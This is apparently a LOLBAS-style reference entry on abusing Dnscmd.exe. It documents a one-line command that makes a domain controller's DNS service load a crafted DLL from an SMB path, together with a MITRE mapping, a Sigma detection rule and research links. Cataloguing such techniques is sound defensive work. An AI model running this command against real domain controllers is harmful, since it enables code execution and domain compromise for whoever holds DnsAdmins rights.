Dnscmd.exe

Adds a specially crafted DLL as a plug-in of the DNS Service. This command must be run on a DC by a user that is at least a member of the DnsAdmins group. See the reference links for DLL details.

Use Remotely inject dll to dns server

dnscmd.exe dc1.lab.int /config /serverlevelplugindll {PATH_SMB:.dll}

Context

admin

Native

Execute

MITRE

T1543.003

Detection

Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_dnscmd_install_new_server_level_plugin_dll.yml

IOC: Dnscmd.exe loading dll from UNC/arbitrary path

Refs

medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83

blog.3or.de/hunting-dns-server-level-plugin-dll-injection.html

github.com/dim0x69/dns-exe-persistance/tree/master/dns-plugindll-vcpp

twitter.com/Hexacorn/status/994000792628719618

www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html

lolbas-project.github.io/lolbas/Binaries/Dnscmd/